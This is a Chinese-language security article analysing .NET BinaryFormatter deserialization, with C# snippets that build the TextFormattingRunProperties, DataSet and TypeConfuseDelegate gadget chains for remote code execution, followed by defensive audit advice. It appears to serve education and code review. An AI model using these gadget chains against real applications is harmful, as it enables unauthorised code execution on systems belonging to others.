.net反序列化之BinaryFormatter
字数 1371 2025-08-05 08:17:36
.NET反序列化之BinaryFormatter深度解析
BinaryFormatter是.NET中一个强大的序列化工具,但同时也是安全风险极高的组件。本文将深入剖析BinaryFormatter的工作原理、攻击链及其防御措施。
BinaryFormatter概述
BinaryFormatter位于System.Runtime.Serialization.Formatters.Binary命名空间,微软官方文档已明确标注其使用可能导致严重的RCE漏洞。
核心特性
- 将对象序列化为二进制流
- 实现
IRemotingFormatter和IFormatter接口 - 支持多种序列化/反序列化方法重载
攻击链分析
1. TextFormattingRunProperties链
攻击原理
通过重定义TextFormattingRunProperties类的序列化过程,将恶意XAML代码注入ForegroundBrush字段。
关键代码实现
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string xaml)
{
_xaml = xaml;
}
}
攻击流程
- 自定义类实现
ISerializable接口 - 序列化时设置
ForegroundBrush为恶意XAML - 反序列化时触发
XamlReader.Parse(payload)执行RCE
依赖条件
- 需要
Microsoft.PowerShell.Editor.dll - 该库是PowerShell的一部分,预装在Windows Server 2008 R2及Windows 7以上版本中
2. DataSet链
攻击原理
利用DataSet的反序列化机制自动处理Tables_0字段中的二进制数据。
关键代码实现
[Serializable]
public class DataSetMarshal : ISerializable
{
byte[] _fakeTable;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(System.Data.DataSet));
info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary);
info.AddValue("DataSet.Tables.Count", 1);
info.AddValue("DataSet.Tables_0", _fakeTable);
}
}
攻击流程
- 生成
TextFormattingRunProperties的payload转为byte数组 - 存入
DataSet.Tables_0字段 - 反序列化时自动处理
Tables_0字段内容
3. TypeConfuseDelegate链
核心概念
- 委托:持有方法引用的变量
- 多播委托:持有委托列表的引用,可依次调用多个委托
攻击原理
利用多播委托绕过方法签名检查,将Process.Start注入比较器。
关键代码实现
// 创建比较器
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
// 反射修改_invocationList
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);
技术要点
- 利用
SortedSet的排序机制触发比较器 - 通过反射修改多播委托的
_invocationList - 依赖.NET 4.5+的
Comparer<string>.Create方法
防御与审计建议
- 避免使用BinaryFormatter:微软已标记为不安全组件
- 输入验证:严格校验反序列化数据来源
- 类型限制:使用
SerializationBinder限制可反序列化类型 - 代码审计重点:
- 检查所有
BinaryFormatter反序列化方法调用 - 关注
ISerializable接口实现类 - 审查自定义序列化逻辑
- 检查所有
总结
BinaryFormatter的反序列化漏洞主要利用路径包括:
- XAML注入(TextFormattingRunProperties)
- 嵌套反序列化(DataSet)
- 类型混淆委托(TypeConfuseDelegate)
理解这些攻击链有助于开发者编写更安全的代码和安全人员识别潜在风险。在实际应用中,应优先考虑更安全的替代方案如Json.NET或Protobuf。